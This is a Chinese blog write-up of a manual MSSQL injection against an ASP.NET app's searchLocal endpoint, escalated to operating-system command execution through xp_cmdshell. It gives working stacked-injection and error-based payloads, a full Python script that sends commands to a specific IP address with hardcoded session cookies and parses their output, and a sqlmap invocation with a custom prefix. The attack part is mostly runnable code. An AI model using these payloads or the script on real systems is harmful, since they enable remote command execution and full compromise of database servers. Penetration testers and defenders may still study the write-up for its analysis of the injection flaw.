Mssql手工注入执行命令小记

 

前言

本次渗透通过某处SQL注入点进行源码分析,并手工利用xp_cmdshell进行了命令执行。

 

初现

在某个晴朗夏日午后,闲来无事想测试,这不,马上就掏出xray扫描到了一个sql注入漏洞,不得不说xray真的挺好用的。该项目方有提供源代码进行代码扫描,这正合我意,下面就来和我一起来跟踪下这个注入是怎么产生的吧。

 

回溯

根据上图可以看出在app类searchLocal接口下的lat参数存在报错注入,项目使用asp.net开发,给予的项目核心源码为dll形式打包,下面使用Dnspy进行dll的反编译工作。

dnSpy是一款针对 .NET 程序的逆向工程工具。该项目包含了反编译器,调试器和汇编编辑器等功能组件,而且可以通过自己编写扩展插件的形式轻松实现扩展。该项目使用 dnlib读取和写入程序集,以便处理有混淆代码的程序(比如恶意程序)而不会崩溃。

点击文件->打开

选中位于bin目录下的所有dll点击打开

这时在程序右侧程序集资源管理器栏出现了反编译的源码,web.dll程序集中包含了Account类和App类的控制器。

在app类控制器中找到了searchLocal方法,该方法直接通过url调用。可以看到在变量fieds中直接使用了{0}{1}占位符拼接了sql语句,其后使用Request方式接收了lng和lat参数后使用Format格式化字符串将变量拼接到了指定占位符处,最后又进行了一次拼接直接执行sql语句导致了sql注入。

本来打算使用使用sqlmap来跑的,但是在跑注入的时候发现由于该注入点比较特殊,而sqlmap的payload都有进行闭合注释操作

当payload传入后端将会直接拼接带入sql语句,这样sql语句的执行就是完全错误的

所以这里我先尝试手工进行sql注入利用xp_cmdshell执行命令。

 

命令执行

根据sql语句进行构造前缀闭合select查询进行堆叠注入

payload前缀为1))) as km FROM locations;
使用xp_cmdshell执行命令并查询回显,首先需要创建一个表,将执行的命令结果写入表中,再读取表的字段内容来获得回显。
第一步创建一个表名为A_CMD用于存储执行的命令,payload为2))) as km FROM locations;create TABLE A_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));--,其中关键的语句为create TABLE A_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1)),这句sql表示创建一个名为A_CMD的表并创建两个字段Data和ID,类型分别为varchar和int,ID非空并且自动增长。

payload发送成功,我们来使用xp_cmdshell来执行命令并插入A_CMD表,payload为2))) as km FROM locations;drop TABLE A_CMD;insert A_CMD exec master.dbo.xp_cmdshell 'whoami' ;-- 使用drop TABLE A_CMD语句在每次命令执行前将表清空来方便查询。

接下来来查询表的行数,可以一行一行读取来获得全部回显。

convert(int,(select char(124)%2bcast(Count(1) as varchar(8000))%2bchar(124) From A_CMD))

返回的结果为4行

未避免查询结果为int导致无报错回显,所以需要在查询结合中使用|字符串包含查询结果来进行报错,这里我们使用convert函数进行报错注入,所以无需闭合前面的select,查询执行结果convert(int,(select Top 1 char(124)%2bdata%2bchar(124) From (select Top 1 [ID],[Data] From A_CMD Order by [ID]) T Order by [ID] desc)),可以看到命令已经成功执行读取出了数据。

 

编写脚本

下面考虑使用自动化脚本来实现命令执行,主要思路为:
1.创建一个新表A_CMD并执行xp_cmdshell插入执行结果
2.查询表列数,通过正则匹配列数。
3.根据匹配到的列数遍历指定表,最后再使用正则将执行的结果获取出来。

import requests
import re

class SQLserverExec():
    def __init__(self):
        #通过该组合SQL语句创建一个新表A_CMD并执行xp_cmdshell插入执行结果
        self.exec_payload='2))) as km FROM locations;drop TABLE A_CMD; create TABLE A_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert A_CMD exec master.dbo.xp_cmdshell \'{0}\' ;--'
        #通过该组合SQL语句查询表列数
        self.exec_line_payload="convert(int,(select char(124)+cast(Count(1) as varchar(8000))+char(124) From A_CMD))"
        #通过该组合SQL语句根据列数遍历表查询内容
        self.select_data="convert(int,(select Top 1 char(124)+data+char(124) From (select Top {0} [ID],[Data] From A_CMD Order by [ID]) T Order by [ID] desc))"
        #设置cookie
        self.cookie={'TY_SESSION_ID':'75c5187d-994f-41f1-b3ed-b77d66e25225','ASP.NET_SessionId':'yhxdx5qdfrrbqu52mbprt1pa'}
    def Getlines(self,command): #创建新表插入命令结果返回列数
        res=requests.post("http://39.100.85.166:8003/app/searchLocal/",data={"lng":116.58,'lat':self.exec_payload.format(command)},cookies=self.cookie)
        line_res=requests.post("http://39.100.85.166:8003/app/searchLocal/",data={"lng":116.58,'lat':self.exec_line_payload},cookies=self.cookie)
        line=int(re.search('\|([\s\S]*?)\|',line_res.text).group(1))
        return line
    def ExecCommand(self,command): #跟据列数循环读取内容
        result =''
        for b in range(0,self.Getlines(command)):
            res=requests.post("http://39.100.85.166:8003/app/searchLocal/",data={"lng":116.58,'lat':self.select_data.format(b+1)},cookies=self.cookie)
            data=re.search('<!--[\s\S]*?\|([\s\S]*?)\|',res.text)
            if data is not None:
                result += data.group(1)+'\n' #对获取到的每行内容输出时做格式化换行处理方便阅读
        return result

A=SQLserverExec()
print(A.ExecCommand('ipconfig'))

可以看到命令成功执行

 

使用SQLmap自动化注入

由于注入点的特殊性,所以我们需要构造一个sqlmap的标准注入环境,在闭合select查询后我们可以再构造一个条件,来实现模拟条件注入。最终payload

2))) as km FROM locations where id=1

使用—prefix参数来添加注入前缀,这样sqlmap的payload就可以以普通的条件查询来进行注入了。

sqlmap.py -u "http://xxx.xx/app/searchLocal/" -p "lat" --random-agent --data="lng=116.58&lat=2" --dbms=mssqlserver --cookie="TY_SESSION_ID=75c5187d-994f-41f1-b3ed-b77d66e25225; ASP.NET_SessionId=yhxdx5qdfrrbqu52mbprt1pa" --prefix="2))) as km FROM locations where id=1" --dbs

 

后记

本次渗透其实经过了很多的试错最后才达到了这个结果,所以说看似简单的渗透过程其中可能包含了各种各样的难点痛点,而这些难点痛点介于篇幅等其他原因不能一一列举出来,重要的不是结果,而是这个试错的过程,只有不断地试错才能不断的成长。

(完)